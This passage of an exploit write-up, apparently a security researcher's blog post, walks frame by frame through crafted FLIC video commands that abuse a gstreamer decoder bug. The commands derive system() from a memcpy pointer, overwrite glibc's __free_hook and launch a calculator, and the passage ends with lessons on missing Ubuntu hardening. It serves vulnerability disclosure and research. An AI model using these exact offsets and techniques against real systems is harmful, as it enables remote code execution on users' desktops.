normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick, already explained.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 12</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; reads from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, effectively reading the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer value into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; writes the pointer value that we wrote into the input file buffer in frame 10 above, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Writes it to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, restoring it.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: writes the value of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 13</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; writes 8 byte pointer offset value 0xffffffffffef91c0 to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: addition! Leaves </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy() + 0xffffffffffef91c0</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is effectively a subtraction, calculating the address of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 14</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Abbreviating a bit harder now. Read the result in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and write it to offset 0x3c8d0, which is a useful storage location in the input file buffer.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 15</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the stored </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> value at offset 0x3c8d0, and write it to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 16</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Write pointer offset value 0x37b840 into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and use frame tick to add it to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The result is 8 bytes before </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the glibc BSS. (We use 8 bytes before because we’re going to do a write through </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which writes at an offset of positive 8 bytes.)</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 17</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the resulting value from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and stash it safely away at offset 0x3c8e0, a useful storage location in the input file buffer.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 18</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the stashed </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook - 8</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> address value at offset 0x3c8e0, and write it at offset 0x3d60a, which is further forward into the input file buffer.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 19</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the stashed </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> value at offset 0x3c8d0, and write it at offset 0x3d62a, which is further forward into the input file buffer.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 20</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x39808, which is the value of the local pointer chunk in the decode loop.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write the string “gnome-calculator”.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LX; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->converter - 8</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write over </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The value written is the pointer value written into the input file buffer in frame 18, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook - 8</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The next FLX_COLOR256 will therefore write over </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write system() on top of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. We get </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> from the input file buffer, where we wrote it in frame 19.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At this point, the decode loop will run </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free(chunk)</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, causing the free hook to be called. Since the free hook is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and the contents of chunk is gnome-calculator, then we get a calculator. Win! As a side effect, tons of calls are made to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> as the rest of the process frees memory. Sometimes, there are side effects as the shell proceeds to interpret the content of heap chunks :-)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This was a fairly ridiculous exploit. But it was worth doing because it’s proof that scriptless exploits are possible, even within the context of decent 64-bit ASLR. It was possible to commandeer memory reads, writes and even additions within the decoder loop to slowly but surely advance the exploit and gain control.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are definitely some specific lessons to learn regarding Linux desktop security:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ubuntu has problems with missing defenses such as ASLR, RELRO, etc., even in the latest 16.04 LTS release.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The elevation of the FLIC format decoder into the gstreamer “good” plugins set was probably a mistake.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
